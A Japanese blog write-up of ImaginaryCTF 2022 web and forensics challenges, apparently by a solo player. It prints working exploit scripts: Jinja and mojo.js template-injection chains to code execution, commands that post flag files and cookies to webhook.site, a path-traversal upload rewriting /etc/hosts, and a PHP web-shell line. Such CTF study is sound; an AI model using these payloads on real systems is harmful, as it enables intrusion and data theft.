7/16 - 7/19という日程で開催された。ひとりチーム( 'ᾥ' )で出て8位。

8月に第2回の防衛省サイバーコンテスト *1、また9月にはCakeCTF 2022 *2と、ソロで出ることになりそうなCTFが短いスパンで待っている。最近はTSG LIVE! CTFAsian Cyber Security Challengeみたいにそういうレギュレーションがあるか、そういう気分にならない限りチームで出がちで、それに甘えてWeb以外の問題を見ないこともしょっちゅうある。たるんどる。気合を入れ直すつもりでzer0ptsが出なさそうなCTFに参加することにした。

それでも積みゲーを崩したいし、ほかにも色々やりたいしでゆるく参加するつもりだったのだけれども、私と同様にソロで出ていたkeymoonさんがどんどん問題を解いていくのを見て対抗心を燃やしてしまった。結局3連休を丸々このCTFに費やした。でも楽しかったのでよし。

そういう前置きはよくて、以下はwriteup。上位13チームは、賞金を得るために一部の高難度帯の問題のwriteupを提出する必要がある。それらのチームのwriteupが出揃うまで、対象となる問題のwriteupは公開を控えてほしいという運営からのアナウンスがあった。したがって、そのひとつである[Web]CyberCookのwriteupはOKが出た後に追記したい。 → 追記しました(2022-07-22)


[Web 100] button (510 solves)

URLのみが与えられる。アクセスすると真っ白な画面が表示されるが、DevToolsを開いてみると以下のように大量の button 要素があるとわかる。クリックすると notSusFunction() が呼ばれるらしい。

それ以外の関数を呼ぶ button 要素はあるだろうか。grepnotSusFunction を含まない行を探す。motSusfunclion という関数があるらしい。

$ grep -v notSusFunction button.chal.imaginaryctf.org/index.html
<style>
.not-sus-button {
  border: none;
  padding: 0;
  background: none;
  color:white;
}
</style>

<button class="not-sus-button" onclick="motSusfunclion()">.</button>

この関数を呼び出すと alert でフラグが表示される。

ictf{y0u_f0und_7h3_f1ag!}

[Web 100] Democracy (504 solves)

URLのみが与えられる。ユーザ登録すると(自身も含め)誰かひとりに投票でき、トップページでは誰がどれだけの票を集めているか確認できるランキングが表示される。投票は10分ごとに締め切られ、リセットされるが、このときもっとも得票しているユーザのみが /flag にアクセスしてフラグを得られる。

はじめに適当なユーザを作ってから、ユーザ登録とそのユーザへの投票を繰り返すスクリプトを書けばよい。

import re
import time
import uuid
import requests

HOST = 'http://chal.imaginaryctf.org:1339'

def get_session(user=None, pw=None):
    if user is None or pw is None:
        user, pw = str(uuid.uuid4()), str(uuid.uuid4())
    sess = requests.Session()
    sess.post(f'{HOST}/register', data={
        'user': user
        'pass': pw
    })
    return sess

user, pw = str(uuid.uuid4()), str(uuid.uuid4())
print(user, pw)

sess = get_session(user, pw)
r = sess.get(f'{HOST}/me')
vote_path = re.findall(r"href='(/vote/.+?)'", r.text)[0]

while True:
    tmp = get_session()
    tmp.get(f'{HOST}{vote_path}')
    print(sess.get(f'{HOST}/flag').text)
    time.sleep(1)
$ python3 solve.py
...
Voting hasn't ended yet!
Voting hasn't ended yet!
Voting hasn't ended yet!
Voting hasn't ended yet!
Voting hasn't ended yet!
Congrats on being voted most worthy to recieve the flag! ictf{i'm_sure_you_0btained_this_flag_with0ut_any_sort_of_trickery...}
ictf{i'm_sure_you_0btained_this_flag_with0ut_any_sort_of_trickery...}

全チームで共通の環境であったために、他チームとかち合ってしまうと争いが始まるし、しかもランキングページにXSSがあったので、強制的にログアウトさせたり自チームのユーザに投票先を変更させたりといった他チームへの妨害が起こりまくるカオスな状況ができあがっていた。最終的に問題がシャットダウンされ、全チームにフラグが配られていた。

[Web 100] rooCookie (353 solves)

URLのみが与えられる。開くとクッキーを持ったパンダ(?)に出迎えられる。HTMLを確認すると、以下のようにCookieに文字列をセットしている様子が確認できた。これは createToken でフラグをエンコードしたものだろう。

<script>
function createToken(text) {
   let encrypted = "";
  for (let i = 0; i < text.length; i++) {
       encrypted += ((text[i].charCodeAt(0)-43+1337) >> 0).toString(2)
  }
  document.cookie = encrypted
}

document.cookie = "token=101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000"
</script>

デコードするコードを書けばよい。

String.fromCharCode(...'101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000'.match(/.{11}/g).map(x => parseInt(x, 2) - 1337 + 43))
ictf{h0p3_7ha7_wa5n7_t00_b4d}

[Web 100] SSTI Golf (223 solves)

URLが与えられる。アクセスすると以下のようなPythonのコードが表示された。48文字以下でSSTIができるらしい。

#!/usr/bin/env python3

from flask import Flask, render_template_string, request, Response

app = Flask(__name__)

@app.route('/')
def index():
    return Response(open(__file__).read(), mimetype='text/plain')

@app.route('/ssti')
def ssti():
    query = request.args['query'] if 'query' in request.args else '...'
    if len(query) > 48:
        return "Too long!"
    return render_template_string(query)

app.run('0.0.0.0', 1337)

Flask+JinjaのSSTIといえば__subclasses__ やら __globals__ やらを参照するのが定石だけれども、愚直にやるとクソ長いペイロードができあがるので、48文字以下に収めるために工夫する必要がある。

config には SECRET_KEY とか ENV とか色々入っているけれども、ag.get.__globals__ を仕込み、aconfig.a['__builtins__'] に置き換えて __builtins__ を取り出し、さらに aconfig.a['eval'] で置き換えて、config.a から eval にアクセスできるようにするのはどうか。これなら複数のリクエストに分けて、各リクエストでは48文字以下に収めることができるはずだ。スクリプトを書く。

import requests
import html

#HOST = 'http://localhost:1337'
HOST = 'http://sstigolf.chal.imaginaryctf.org/'

def go(query):
    return html.unescape(requests.get(f'{HOST}/ssti', params={
        'query': query
    }).text)

def set_config(key, value):
    go(f"{{%set a=config.update({{'{key}':''}})%}}")
    for c in value:
        go(f"{{%set a=config.update({{'{key}':config.{key}+'{c}'}})%}}")

key_eval = '9'
key_tmp = 'p'
key_payload = 'g'
#payload = '__import__("subprocess").check_output("ls -la; ls -la /", shell=True)'
payload = 'open("truly_an_arbitrarily_named_file").read()'

# config.eval = g.get.__globals__.__builtins__.eval
go(f"{{%set a=config.update({{{key_eval}:g.get.__globals__}})%}}")
set_config(key_tmp, '__builtins__')
go(f"{{%set a=config.update({{{key_eval}:config.{key_eval}[config.{key_tmp}]}})%}}")
set_config(key_tmp, 'eval')
go(f"{{%set a=config.update({{{key_eval}:config.{key_eval}[config.{key_tmp}]}})%}}")

# eval(payload)
set_config(key_payload, payload)
print(go(f'{{{{config.{key_eval}(config.{key_payload})}}}}'))

# clear all keys
go(f"{{%set a=config.pop({key_eval})%}}")
go(f"{{%set a=config.pop('{key_tmp}')%}}")
go(f"{{%set a=config.pop('{key_payload}')%}}")

これを実行するとフラグが得られた。

ictf{F!1+3r5s!?}

他チームが config に仕込んだ eval を利用できないように、exploitの最後でちゃんと config.pop して消しておいた。CTFの終了後にDiscordで流れてきた解法を見ていたら、lipsum.__globals__.os.popen とかいうのを見つけてあ~という気持ちになった。

[Web 172] minigolf (64 solves)

URLが与えられる。アクセスすると以下のようなPythonのコードが表示された。文字数の制限はSSTI Golfから多少ゆるくなったけれども、{{, }}, [, ], _ を使ってはいけないという制限が新たに追加された。html.escape もされているから、'"実体参照に置き換えられてしまい使えない。

from flask import Flask, render_template_string, request, Response
import html

app = Flask(__name__)

blacklist = ["{{", "}}", "[", "]", "_"]

@app.route('/', methods=['GET'])
def home():
  print(request.args)
  if "txt" in request.args.keys():
    txt = html.escape(request.args["txt"])
    if any([n in txt for n in blacklist]):
      return "Not allowed."
    if len(txt) <= 69:
      return render_template_string(txt)
    else:
      return "Too long."
  return Response(open(__file__).read(), mimetype='text/plain')

app.run('0.0.0.0', 1337)

文字数の制限はSSTI Golfと同じ方法でバイパスするとして、[] の制限が痛い。{{}} については {% set … %} のような文を使えばよいけれども、[. が封じられているならどうやってオブジェクトの属性や要素にアクセスできるだろうか。

実はJinjaには attr() というフィルターがあり、これを使えばオブジェクトの属性にアクセスできる。要素へのアクセスはどうするかというと、PayloadsAllTheThings|attr('__getitem__')('index') という方法を見つけた。かしこい。

あとは実装するだけ。

import sys
import html
import requests

#HOST = 'http://localhost:1337'
HOST = 'http://minigolf.chal.imaginaryctf.org'

def go(query, params={}):
    print(len(query), query)
    r = requests.get(f'{HOST}', params={
        'txt': query, **params
    })
    return html.unescape(r.text)

key_eval = '9'
key_getitem = '8'
key_param = 't'
#payload = '__import__("urllib.request").request.urlopen("https://webhook.site/…", __import__("subprocess").check_output("ls -la; ls -la /", shell=True))'
payload = '__import__("urllib.request").request.urlopen("https://webhook.site/…", __import__("subprocess").check_output("cat flag.txt", shell=True))'

# config.eval = g.get.__globals__.__builtins__.eval
go(f"{{%set a=config.update({{{key_eval}:g.get|attr(request.args.{key_param})}})%}}", {
    key_param: '__globals__'
})
go(f"{{%set a=config.update({{{key_eval}:config.{key_eval}|attr(request.args.{key_param})}})%}}", {
    key_param: '__getitem__'
})
go(f"{{%set a=config.update({{{key_eval}:config.{key_eval}(request.args.{key_param})}})%}}", {
    key_param: '__builtins__'
})
go(f"{{%set a=config.update({{{key_eval}:config.{key_eval}.eval}})%}}")

# eval(payload)
r = go(f"{{%set a=config.{key_eval}(request.args.{key_param})%}}", {
    key_param: payload
})
print(r)

[Web 258] Hostility (55 solves)

URLが与えられる。アクセスすると以下のようなPythonのコードが表示された。大変シンプルで、ファイルをアップロードすると ./uploads/ 下にそのままのファイル名で配置されるが表示できず、/flag にアクセスするとフラグを取りに行ってくれるが、残念ながら localhost に投げられてしまうという感じ。

#!/usr/bin/env python3

from requests import get
from flask import Flask, Response, request
from time import sleep
from threading import Thread
from os import _exit

app = Flask(__name__)

class Restart(Thread):
    def run(self):
        sleep(300)
        _exit(0) # killing the server after 5 minutes, and docker should restart it

Restart().start()

@app.route('/')
def index():
    return Response(open(__file__).read(), mimetype='text/plain')

@app.route('/docker')
def docker():
    return Response(open("Dockerfile").read(), mimetype='text/plain')

@app.route('/compose')
def compose():
    return Response(open('docker-compose.yml').read(), mimetype='text/plain')

@app.route('/upload', methods=["GET"])
def upload_get():
    return open("upload.html").read()

@app.route('/upload', methods=["POST"])
def upload_post():
    if "file" not in request.files:
        return "No file submitted!"
    file = request.files['file']
    if file.filename == '':
        return "No file submitted!"
    file.save("./uploads/"+file.filename)
    return f"Saved {file.filename}"

@app.route('/flag')
def check():
    flag = open("flag.txt").read()
    get(f"http://localhost:1337/{flag}")
    return "Flag sent to localhost!"

app.run('0.0.0.0', 1337)

../ なんかがファイル名に含まれていても、file.filename にはそれらが削除されないまま入っている。Flaskのドキュメントを見ても secure_filename を使いましょうという話がある。これのせいでファイルのアップロード時にパストラバーサルができ、好きなディレクトリにファイルを設置できてしまう。

ただ、PHPが使われているわけではないので、<?php passthru($_GET['q']);/var/www/html/shell.php に設置して終わりというわけにはいかない。/flag をなにかに使えないかな~と /etc やらなんやらのディレクトリを見つつ考えていたところ、localhost を自分の管理下にあるIPアドレスに向けるのはどうだろうかと思いついた。どうやるかというと、/etc/passwd を置き換えればよい。

以下のような感じのHTTPリクエストを送る。

POST /upload HTTP/1.1
Host: hostility.chal.imaginaryctf.org
Content-Length: 219
Origin: https://hostility.chal.imaginaryctf.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9BbJvQXij52dIlZQ
User-Agent: neko
Connection: close

------WebKitFormBoundary9BbJvQXij52dIlZQ
Content-Disposition: form-data; name="file"; filename="../../../etc/hosts"
Content-Type: image/jpeg

(IPアドレス) localhost

------WebKitFormBoundary9BbJvQXij52dIlZQ--

nc -lp 1337 で待ち構えて /flag にアクセスしてみると、フラグが飛んできた。

$ nc -lp 1337
GET /ictf%7Bman_maybe_running_my_webserver_as_root_wasnt_a_great_idea_hmmmm%7D HTTP/1.1
Host: localhost:1337
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

この問題好き。

[Web 352] maas (43 solves)

URLとソースコードが与えられる。やったあ。ユーザ登録とログイン、それからユーザ情報の確認だけができる無用なWebアプリケーション。ユーザ登録は、適当なユーザ名を入力すると、サーバが自動でパスワードを生成して教えてくれるというような形になっていた。

admin としてログインできたら勝ち。

@app.route('/home', methods=['GET'])
def home():
    cookie = request.cookies.get('auth')
    username = users[cookie]["username"]
    if username == 'admin':
        flag = open('flag.txt').read()
        return render_template('home.html', username=username, message=f'Your flag: {flag}', meme=random.choice(memes))

ユーザ管理やパスワード生成の仕組みは以下のようになっている。ユーザ名の username、パスワードの password、それから /users/<id> というユーザページへのアクセスに使うUUIDが入っている id というキーを持つ dict がユーザ情報になる。users という dict でユーザ情報が管理されており、パスワードのSHA-256ハッシュをキーにこのユーザ情報を持っている。

パスワードの生成には random.choice が使われており、普通なら推測ができなさそう。ユーザIDの生成には uuid.uuid1 が使われているが、なぜ完全にランダムなUUID v4を使わないのだろうか。UUID v1ではUUIDの生成時刻などの情報が含まれるが、わざわざそんなUUIDを使う必要はあるだろうか。

memes = [l.strip() for l in open("memes.txt").readlines()]
users = {}
taken = []

def adduser(username):
  if username in taken:
    return "username taken", "username taken"
  password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)])
  cookie = sha256(password.encode()).hexdigest()
  users[cookie] = {"username": username, "id": str(uuid.uuid1())}
  taken.append(username)
  return cookie, password

コードを眺めていると、怪しげな処理を見つける。Webアプリケーションの初期化処理でPRNGの初期化もしているが、ここで現在時刻をシードとしている。その直後に admin のユーザ登録をしているが、admin のUUIDからその登録時刻がわかってしまう。そこからPRNGのシードがわかるし、パスワードの生成には random.choice が使われているからその予測もできてしまう。

def initialize():
  random.seed(round(time.time(), 2))
  adduser("admin")

initialize()

admin のUUIDは /users というAPIから参照できる。

@app.route('/users')
def listusers():
  return render_template('users.html', users=users)

CPythonの uuid.uuid1 の実装を参考にしつつ、UUIDからPRNGのシードを推測し、そこからパスワードを推測するスクリプトを書く。出力されたパスワードを使って admin としてログインすると、フラグが表示された。

from hashlib import sha256
import time
import random

def initialize(t=None):
    if t is None:
        t = time.time()
    random.seed(round(t, 2))

u = '2299ab36-04ec-11ed-8a8d-e62d5fffa967'.split('-')

time_low = int(u[0], 16)
time_mid = int(u[1], 16)
time_hi_version = int(u[2], 16)

timestamp = (time_low & 0xffffffff) | ((time_mid & 0xffff) << 32) | ((time_hi_version & 0xfff) << 48)
timestamp -= 0x01b21dd213814000
timestamp *= 100

timestamp /= 1_000_000_000

initialize(round(timestamp, 2))

username = 'admin'
password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)])
cookie = sha256(password.encode()).hexdigest()

print(password)
print(cookie)
ictf{d0nt_use_uuid1_and_please_generate_passw0rds_securely_192bfa4d}

[Web 390] 1337 (37 solves)

URLのみが与えられる。/source からソースコードが見られる。入力した文字列をleetに変換してくれる便利なサービスらしい。mojo.jsというフレームワークを使っているようだ。

import mojo from "@mojojs/core";
import Path from "@mojojs/path";

const toLeet = {
  A: 4,
  E: 3,
  G: 6,
  I: 1,
  S: 5,
  T: 7,
  O: 0,
};

const fromLeet = Object.fromEntries(
  Object.entries(toLeet).map(([k, v]) => [v, k])
);

const layout = `<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>1337</title>
    <link rel="stylesheet" href="static/style.css">
</head>
<body>
    <main>
        <%== ctx.content.main %>
    </main>
    <canvas width="500" height="200" id="canv" />
    <script src="static/matrix.js"></script>
</body>
</html>`;

const indexTemplate = `
<h1>C0NV3R7 70/FR0M L337</h1>
<form id="leetform" action="/">
    <input type="text" id="text" name="text" placeholder="Your text here">
    <div class="switch-field">
        <input type="radio" id="dir-to" name="dir" value="to" checked="checked">
        <label for="dir-to">TO</label>
        <input type="radio" id="dir-from" name="dir" value="from">
        <label for="dir-from">FROM</label>
    </div>
    <input type="submit" value="SUBMIT">
</form>
<div id="links">
  <a href="/source">/source</a>
  <a href="/docker">/docker</a>
</div>
`;

const app = mojo();

const leetify = (text, dir) => {
  const charBlocked = ["'", "`", '"'];
  const charMap = dir === "from" ? fromLeet : toLeet;

  const processed = Array.from(text)
    .map((c) => {
      if (c.toUpperCase() in charMap) {
        return charMap[c.toUpperCase()];
      }

      if (charBlocked.includes(c)) {
        return "";
      }

      return c;
    })
    .join("");

  return `<h1>${processed}</h1><a href="/">←BACK</a>`;
};

app.get("/", async (ctx) => {
  const params = await ctx.params();
  if (params.has("text")) {
    return ctx.render({
      inline: leetify(params.get("text"), params.get("dir")),
      inlineLayout: layout,
    });
  }
  ctx.render({ inline: indexTemplate, inlineLayout: layout });
});

app.get("/source", async (ctx) => {
  const readable = new Path("index.js").createReadStream();
  ctx.res.set("Content-Type", "text/plain");
  await ctx.res.send(readable);
});

app.get("/docker", async (ctx) => {
  const readable = new Path("Dockerfile").createReadStream();
  ctx.res.set("Content-Type", "text/plain");
  await ctx.res.send(readable);
});

app.start();

leet化した文字列を表示するときに ctx.render というAPIを使っているけれども、なぜか inline というプロパティを使っている。ドキュメントを読んでみると "Some engines such as tmpl allow templates to be passed inline." とある。これもSSTIか。

app.get("/", async (ctx) => {
  const params = await ctx.params();
  if (params.has("text")) {
    return ctx.render({
      inline: leetify(params.get("text"), params.get("dir")),
      inlineLayout: layout,
    });
  }
  ctx.render({ inline: indexTemplate, inlineLayout: layout });
});

今回使われているテンプレートエンジンは、おそらく @mojojs/template だ。適当に試してみたいが、SSTI問ではまず 7*7 を計算するというマナーがあるのでそれに従う。<%= 7*7 %> のleetへの変換を試みると 49 が表示された。

このサービスではleetへの変換のほかに、leetからの普通の文字列への変換もできる。前者では A, E, G といったアルファベットが使えず、後者では 4, 3, 6 といった数字が使えない。数値なら容易に作れるので、後者でSSTIをやっていく。

このような数値のほかにも、以下のように ', ", ` も使えない。文字列なら String.fromCharCode で作ればよいだろう。

  const charBlocked = ["'", "`", '"'];

ここから任意コード実行に持ち込む方法を考えなければいけない。まずは eval を確かめてみたいと思って <%= eval %> を確かめてみたところ、FUNCTION EVAL() { [NATIVE CODE] } と表示された。いけそう。

あとは文字列をエンコードする方法を考えるだけ。a, b, ..., g という変数にそれぞれ 1, 2, ..., 128 という数値を入れておく。こうしておけば、たとえば ABC という文字列ならば String.fromCharCode(a|g,b|g,a|b|g) みたいな感じで作れる。文字列をエンコードして eval してくれるスクリプトを書く。

import requests

table = {}
_keys = 'abcdefgh'
def init_table():
    res = f'({_keys[0]}=(2/2))&&'
    table[0] = _keys[0]
    for i, k in zip(range(1, 8), _keys[1:]):
        table[i] = k
        res += f'({k}={_keys[i-1]}<<(2/2))&&'
    return res

def encode_num(x):
    res = []
    for i in range(8):
        if x & (1 << i):
            res.append(table[i])
    return '|'.join(res)

def encode(s):
    res = init_table()
    tmp = []
    for c in s:
        c = ord(c)
        tmp.append(encode_num(c))
    res += f'eval(String.fromCharCode({",".join(tmp)}))'
    return f'<%= {res} %>'

#HOST = 'http://localhost:8000'
HOST = 'http://1337.chal.imaginaryctf.org/'
def go(payload):
    r = requests.get(HOST, params={
        'text': encode(payload),
        'dir': 'from'
    })
    return r.text

#print(go('''import('child_process').then(resp=>{resp.execSync('wget https://webhook.site/… --post-data="$(ls)"')})'''))
print(go('''import('child_process').then(r=>{r.execSync('wget https://webhook.site/… --post-data="$(cat F*)"')})'''))

実行するとフラグがWebhook.siteにPOSTされた。

ictf{M0J0_15N7_0N_P4YL04D54LL7H37H1N65}

[Web 495] CyberCook (8 solves)

URLのみが与えられる。問題名の通りCyberChef的なアプリで、適当なテキストを入力すると、それをBase64エンコードした文字列を出力してくれる。下の方にある Report an issue というリンクはadmin botにURLが報告できるもので、URLを報告するとWebブラウザで訪問してくれる。ただし、そのURLのオリジンは http://localhost:8080 でなければならない。つまり、このページでXSSを探さなければならない。

DevToolsでNetworkタブを開くと、Base64エンコード時にはどこにもリクエストが飛んでいない。全部ローカルでやっているらしい。Sourcesタブを開くと main.jsmain.wasm が読み込まれており、wasm pwn問だと察する。main.js をちらっと見たところ ENVIRONMENT_IS_NODE だの convertJsFunctionToWasm だのとEmscriptenのグルースクリプトっぽい。Emscriptenの吐き出すwasmなんか読みたくないよ~ということで、ここでなるべく静的解析をしないと決意する。

ところで index.html にもJavaScriptコードがあって、これがまた javascript-obfuscator(たぶん)で難読化されていてめんどくさい。めんどくさい! 頑張れば読めるけれども、面倒だという気持ちしか湧いてこない。

それでも読むしかない。まずはVSCodeでもなんでもよいのでこのJSコードを整形する。javascript-obfuscator は文字列だとかプロパティだとかを _0x4be447(0xc8) みたいな感じで関数呼び出しに置き換えるので、これらを元の文字列やプロパティに戻すとわかりやすい。console.log デバッグでも、ブレークポイントを置いての確認でも構わない。幸いにもオプション盛り盛りの難読化ではなかったので、比較的短時間で以下のように難読化を解除できた。

クエリパラメータから inputaction を取ってきているらしい。actionbase64 で固定で、input はどんな文字列でもよい。もしこれらのクエリパラメータがセットされていれば、わざわざフォームに文字列を入力してボタンを押さずともBase64エンコードしてくれるらしい。

もう一点気になるのは ret.innerHTML = AsciiToString(res) で、Base64エンコード後の文字列が innerHTML によって出力されている。もし AsciiToString の返り値をHTMLタグにできればXSSができそうだ。なるほど、XSSが起こるようなクエリパラメータがセットされたURLを、admin botに報告しろということらしい。

function getRequests() {
    var parts = location.search.substring(0x1, location['search'].length).split('&'),
        res = {},
        part, i;
    for (i = 0x0; i < parts.length; i += 0x1) {
        part = parts[i].split('=');
        res[decodeURIComponent(part[0]).toLowerCase()] = decodeURIComponent(part[1]);
    }
    return res;
};
var q = getRequests();

// hex-decode
function htoa(arg) {
    var res = '';
    arg = arg.toString()
    for (var i = 0x0; i < arg.length; i += 0x2)
        res += String.fromCharCode(parseInt(arg.substr(i, 0x2), 0x10));
    return res;
}

// hex-encode
function atoh(arg) {
    var res = '';
    for (var i = 0x0; i < arg.length; i++) {
        res += arg.charCodeAt(i).toString(0x10);
    }
    return res;
}

Module['onRuntimeInitialized'] = function() {
    q['action'] == 'base64' && (document.getElementById('input').value = htoa(q.input), s(q.input));
};

function s(arg) {
    var memory = allocate(intArrayFromString(arg), ALLOC_NORMAL),
        ret = document.getElementById('ret'),
        res = Module._base64_encode(memory, arg.length / 0x2);
    ret.innerHTML = AsciiToString(res), initialized = 0x1;
}

wasmの脆弱性を探していく。色々入力していると、AAAAAAAAAAAAAAAAAA を入力したときにゴミのついた結果が出力された。

AAAAAAAAAAAAAAAAAAA では完全に沈黙してしまう。何が起こっているのか。

wasmの動的解析をしてどうなっているか知りたい。ChromeのDevToolsで、Sourcesタブから main.wasm を選択する。外部からアクセスできる関数がないか export で検索してみると、malloc やら __errno_location やら…はいいのだけれど、base64_encode という気になるものがあった。

この関数の最後にある returnブレークポイントを置き、適当な文字列(neko)を入力してボタンを押す。スタックに残っている値が返り値となるのだが、なんかアドレスっぽい。Memory Inspectorからこのアドレスを確認してみると、bmVrbwAA という文字列があった。これは nekoBase64エンコードしたものだ。

では、入力が AAAAAAAAAAAAAAAAAAA だったときには何が起こっていたのか。ページをリロードしてから同様の手順で返り値を確認してみると、なんだか様子がおかしい。アドレスが大きすぎる。この値を16進数で表現すると 41415151 と各バイトがASCIIの範囲内に収まる形になっている。

メモリを確認してみると、バッファオーバーフローによって、メモリ上に存在しているアドレスが書き換えられているっぽい雰囲気がある。ただし、Base64エンコード後の文字列によって。

何度か実行してみて確認した限りでは、(入力する文字列の長さが変わらない限り)Base64エンコード後の文字列や、入力した文字列が配置されているアドレスは変わらない。base64_encode の返り値となるアドレスが配置されているメモリの箇所を、入力した文字列のアドレスに置き換えることができればXSSができそうではある。が、そのアドレスが 0x00503688 のようにnull文字を含んでしまっているのがつらい。当然ながらBase64の変換テーブルにはnull文字は含まれないので。

クエリパラメータの input はhexな文字列であることが前提になっているけど、もしそうでない文字が含まれていたらどうなるのだろうと思い、色々入力してみた。

/?action=base64&input=303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030FFFFFF3030303030303030303030303030303030

のように入力に0xffを含めることで、Base64エンコード後の文字列にnull文字を含ませることができた。

返り値のアドレスも 0 になっている。

あとは入力にXSSペイロードを仕込みつつ、返り値がユーザ入力のアドレスになるようにするだけ。前述のようにユーザ入力が配置されているアドレスは固定なので、決め打ちでよい。input

303c696d67207372633d78206f6e6572726f723d616c65727428313233293e3030303030303030303030303030303030303030303030303030303030303030303030303030303030ABA3FF3030303030303030303030303030303030

にしてみると、alert が出た。

実行されるJSコードを alert(123) から import('//example.com') のようにし、以下のJSコードが読み込まれるようにする。できあがったURLをadmi botに報告するとフラグが得られた。

(new Image).src=('https://webhook.site/…?' + document.cookie)
ictf{c0ngrats_on_pWning_my_w4sm_hopefully_there_werent_any_cheese_solutions_b2810d1e}

javascript-obfuscator を挟むのは余計ではないか。

[Forensics 100] unpuzzled4 (315 solves)

It looks like unpuzzler7 has been getting into photography recently. His pictures aren't very good though, you can't even tell what the location of the pictures are! (To access this challenge you must join our discord server at https://discord.gg/ctf)

とのことで、このDiscordサーバにいる unpuzzler7 さんのプロフィールを見てみる。"Check out some cool pictures! https://www.flickr.com/unpuzzler7" とFlickrへのリンクがあった。アップロードされている写真のなかにskyというタイトルのものがある。写真の情報を見ると、なんかフラグっぽい文字列がタグに設定されている。

DevToolsを開いてこのリンクを見てみると、フラグの全体が見られた。

ictf{1mgur_d03sn't_cl3ar_3xif}

[Forensics 100] unpuzzled3 (170 solves)

unpuzzler7#6451 is back! I've heard that he's been listening to a lot of music lately. Think that you might be able to find something? (To access this challenge you must join our discord server at https://discord.gg/ctf)

unpuzzled4の続き。プロフィールをもうちょっと詳しく確認すると、Spotifyへのリンクがあった。

ふたつ公開プレイリストがあり、一方はNever Gonna Give You Upしか入っておらず、もう一方は色々な曲が入っている。後者の曲名は以下のような感じだった。頭文字を取ると ICTF{ … あ、フラグだ。

  • I Love You So
  • Cinema
  • Tarot
  • Falling Back
  • {idle}
ICTF{SPOTIFY_jAMMMMMM_78D5B4}

[Forensics 100] journey (273 solves)

This is an OSINT challenge.

Max49 went on a trip... can you figure out where? The flag is ictf{latitude_longitude}, where both are rounded to three decimal places. For example, ictf{-95.334_53.234}

写真が与えられる。Bingで画像検索するとほぼ同じ構図の写真が見つかった。ストリートビューでこのあたりを探してみると見つかった

ictf{42.717_12.112}

[Forensics 100] Ogre (113 solves)

docker pull ghcr.io/iciaran/ogre:ctf というコマンドが問題文で与えられている。とりあえずイメージをpullしてくる。docker history ghcr.io/iciaran/ogre:ctf でイメージの履歴を見てみる。/bin/sh -c echo aWN0ZntvbmlvbnNfaGF2ZV9s… となにか怪しげなコマンドを実行している。

$ docker history ghcr.io/iciaran/ogre:ctf
IMAGE          CREATED       CREATED BY                                      SIZE      COMMENT
0d847c76be92   4 weeks ago   CMD ["node" "server.js"]                        0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   EXPOSE map[8080/tcp:{}]                         0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY quotes.json quotes.json # buildkit         5.46kB    buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY public public # buildkit                   6.01kB    buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY views views # buildkit                     634B      buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY server.js server.js # buildkit             441B      buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c npm install ejs # buildkit       2.26MB    buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c rm /tmp/secret # buildkit        0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c npm install express # buildkit   5.86MB    buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c echo aWN0ZntvbmlvbnNfaGF2ZV9s…   61B       buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c npm init -y # buildkit           2.35kB    buildkit.dockerfile.v0
<missing>      4 weeks ago   WORKDIR /app/ogre                               0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c mkdir ogre # buildkit            0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   WORKDIR /app                                    0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   /bin/sh -c #(nop)  CMD ["node"]                 0B
<missing>      4 weeks ago   /bin/sh -c #(nop)  ENTRYPOINT ["docker-entry…   0B
<missing>      4 weeks ago   /bin/sh -c #(nop) COPY file:4d192565a7220e13…   388B
<missing>      4 weeks ago   /bin/sh -c apk add --no-cache --virtual .bui…   7.77MB
<missing>      4 weeks ago   /bin/sh -c #(nop)  ENV YARN_VERSION=1.22.19     0B
<missing>      4 weeks ago   /bin/sh -c addgroup -g 1000 node     && addu…   161MB
<missing>      4 weeks ago   /bin/sh -c #(nop)  ENV NODE_VERSION=18.4.0      0B
<missing>      8 weeks ago   /bin/sh -c #(nop)  CMD ["/bin/sh"]              0B
<missing>      8 weeks ago   /bin/sh -c #(nop) ADD file:8e81116368669ed3d…   5.53MB

--no-trunc オプションを付与してコマンドの全体を見てみる。

$ docker history ghcr.io/iciaran/ogre:ctf --no-trunc | grep aWN0
<missing>                                                                 4 weeks ago   RUN /bin/sh -c echo aWN0ZntvbmlvbnNfaGF2ZV9sYXllcnNfaW1hZ2VzX2hhdmVfbGF5ZXJzfQo= > /tmp/secret # buildkit …

